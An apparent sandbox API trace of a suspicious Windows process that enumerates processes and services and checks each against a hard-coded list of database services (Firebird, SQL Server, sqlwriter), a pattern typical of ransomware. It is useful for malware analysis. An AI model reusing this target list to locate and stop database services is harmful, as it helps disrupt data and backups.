	[0171.489] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0171.490] CloseHandle (hObject=0x45c) returned 1
	[0171.490] Sleep (dwMilliseconds=0x1f4) 
	[0172.198] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0930
	[0172.198] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0172.199] GetLastError () returned 0xea
	[0172.199] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0172.199] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0172.200] CloseServiceHandle (hSCObject=0x41c0930) returned 1
	[0172.200] lstrlenW (lpString="Appinfo") returned 7
	[0172.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0172.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0172.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0172.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0172.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0172.201] lstrlenW (lpString="AppXSvc") returned 7
	[0172.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0172.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0172.201] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0172.201] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0172.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0172.201] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0172.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0172.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0172.201] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0172.201] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0172.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0172.201] lstrlenW (lpString="Audiosrv") returned 8
	[0172.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0172.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0172.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0172.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0172.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0172.201] lstrlenW (lpString="BFE") returned 3
	[0172.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0172.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0172.201] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0172.201] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0172.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0172.201] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0172.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0172.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0172.201] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0172.202] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0172.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0172.202] lstrlenW (lpString="CDPSvc") returned 6
	[0172.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0172.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0172.202] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0172.202] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0172.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0172.202] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0172.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0172.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0172.202] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0172.202] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0172.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0172.202] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0172.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0172.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0172.202] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0172.202] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0172.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0172.202] lstrlenW (lpString="CryptSvc") returned 8
	[0172.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0172.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0172.202] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0172.202] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0172.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0172.202] lstrlenW (lpString="DcomLaunch") returned 10
	[0172.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0172.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0172.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0172.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0172.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0172.203] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0172.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0172.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0172.203] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0172.203] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0172.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0172.203] lstrlenW (lpString="Dhcp") returned 4
	[0172.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0172.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0172.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0172.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0172.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0172.203] lstrlenW (lpString="Dnscache") returned 8
	[0172.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0172.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0172.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0172.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0172.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0172.203] lstrlenW (lpString="DPS") returned 3
	[0172.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0172.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0172.203] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0172.203] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0172.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0172.203] lstrlenW (lpString="DusmSvc") returned 7
	[0172.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0172.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0172.203] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0172.203] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0172.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0172.203] lstrlenW (lpString="EventLog") returned 8
	[0172.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0172.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0172.204] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0172.204] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0172.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0172.204] lstrlenW (lpString="EventSystem") returned 11
	[0172.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0172.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0172.204] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0172.204] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0172.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0172.204] lstrlenW (lpString="FontCache") returned 9
	[0172.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0172.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0172.204] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0172.204] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0172.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0172.204] lstrlenW (lpString="gpsvc") returned 5
	[0172.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0172.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0172.204] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0172.204] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0172.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0172.204] lstrlenW (lpString="iphlpsvc") returned 8
	[0172.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0172.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0172.204] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0172.204] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0172.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0172.205] lstrlenW (lpString="KeyIso") returned 6
	[0172.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0172.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0172.205] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0172.205] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0172.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0172.205] lstrlenW (lpString="LanmanServer") returned 12
	[0172.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0172.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0172.205] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0172.205] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0172.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0172.205] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0172.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0172.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0172.205] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0172.205] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0172.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0172.205] lstrlenW (lpString="lfsvc") returned 5
	[0172.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0172.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0172.205] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0172.205] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0172.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0172.205] lstrlenW (lpString="lmhosts") returned 7
	[0172.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0172.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0172.205] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0172.205] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0172.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0172.205] lstrlenW (lpString="LSM") returned 3
	[0172.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0172.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0172.206] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0172.206] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0172.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0172.206] lstrlenW (lpString="MpsSvc") returned 6
	[0172.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0172.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0172.206] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0172.206] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0172.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0172.206] lstrlenW (lpString="NcbService") returned 10
	[0172.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0172.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0172.206] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0172.206] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0172.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0172.206] lstrlenW (lpString="netprofm") returned 8
	[0172.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0172.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0172.206] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0172.206] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0172.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0172.206] lstrlenW (lpString="NgcSvc") returned 6
	[0172.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0172.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0172.206] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0172.206] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0172.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0172.555] lstrlenW (lpString="NlaSvc") returned 6
	[0172.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0172.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0172.555] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0172.555] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0172.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0172.555] lstrlenW (lpString="nsi") returned 3
	[0172.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0172.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0172.555] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0172.555] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0172.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0172.555] lstrlenW (lpString="PcaSvc") returned 6
	[0172.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0172.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0172.555] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0172.555] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0172.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0172.555] lstrlenW (lpString="PlugPlay") returned 8
	[0172.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0172.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0172.555] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0172.555] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0172.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0172.555] lstrlenW (lpString="Power") returned 5
	[0172.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0172.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0172.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0172.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0172.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0172.556] lstrlenW (lpString="ProfSvc") returned 7
	[0172.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0172.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0172.556] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0172.556] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0172.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0172.556] lstrlenW (lpString="RpcEptMapper") returned 12
	[0172.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0172.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0172.556] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0172.556] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0172.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0172.556] lstrlenW (lpString="RpcSs") returned 5
	[0172.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0172.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0172.556] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0172.556] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0172.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0172.556] lstrlenW (lpString="SamSs") returned 5
	[0172.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0172.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0172.556] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0172.556] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0172.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0172.556] lstrlenW (lpString="Schedule") returned 8
	[0172.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0172.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0172.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0172.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0172.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0172.557] lstrlenW (lpString="SecurityHealthService") returned 21
	[0172.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0172.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0172.557] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0172.557] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0172.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0172.557] lstrlenW (lpString="SENS") returned 4
	[0172.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0172.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0172.557] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0172.557] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0172.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0172.557] lstrlenW (lpString="ShellHWDetection") returned 16
	[0172.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0172.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0172.557] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0172.557] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0172.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0172.557] lstrlenW (lpString="Spooler") returned 7
	[0172.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0172.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0172.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0172.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0172.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0172.557] lstrlenW (lpString="StateRepository") returned 15
	[0172.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0172.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0172.557] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0172.557] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0172.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0172.557] lstrlenW (lpString="SysMain") returned 7
	[0172.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0172.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0172.558] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0172.558] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0172.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0172.558] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0172.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0172.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0172.558] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0172.558] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0172.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0172.558] lstrlenW (lpString="Themes") returned 6
	[0172.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0172.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0172.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0172.558] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0172.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0172.558] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0172.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0172.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0172.558] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0172.558] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0172.558] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0172.751] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x568
	[0172.756] Process32FirstW (in: hSnapshot=0x568, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
